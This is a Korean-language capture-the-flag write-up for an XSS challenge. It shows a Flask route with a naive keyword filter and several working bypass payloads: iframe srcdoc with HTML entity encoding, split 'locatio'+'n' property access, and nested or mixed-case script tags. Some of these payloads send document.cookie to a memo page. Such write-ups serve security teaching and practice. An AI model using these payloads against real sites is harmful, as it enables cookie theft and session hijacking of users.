Write-Up
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
해당 Challenge의 주요 부분은 위와 같다. vuln 페이지에서 param에 대한 인자 값을 xss_filter 함수로 필터링한다. xss_filter 함수는 ["script", "on", "javascript:"] 를 필터링 한다.
<iframe srcdoc="<img src=1 %26%23x6f;nerror=alert(parent.document.domain)>">
위와 같은 paylaod를 통해 vuln 페이지에서 스크립팅 실행여부를 판단해보았다. xss 공격 가능성이 존재한다.
<iframe srcdoc="<img src=1 %26%23x6f;nerror=parent['locatio'%2b'n'].href='/memo?memo='%2bdocument.domain>"></iframe>
on 이벤트 핸들러가 필터링 되므로, html hex encoding을 통해 우회해주었다. location 에서 뒤에 on 도 필터링되므로, Computed member access 를 적절히 사용해준다. 위의 payload는 vuln 페이지에서 직접 payload를 삽입할 때 사용될 구문이다. 이를 flag 페이지에 exploit하면 {urllib.parse.quote(param)} 에 의해 더블 인코딩되어, 문제가 생긴다.
<iframe srcdoc="<img src=1 onerror=parent['locatio'+'n'].href='/memo?memo='+document.cookie>"></iframe>
위의 payload로 문제를 해결해보자!
iframe srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것이 가능하다. 이때, HTML의 속성(srcdoc) 내에 들어가기 때문에 HTML Entity Encoding으로 기존 필터링을 우회하는 것이 가능하다.
추가적으로 아래와 같은 payload도 가능했다.
<scscriptript>locatioonn.href="/memo?memo="+document.cookie</scscriptript>
<SCRIPT>document["locatio"+"n"].href='/memo?memo='+document.domain</SCript>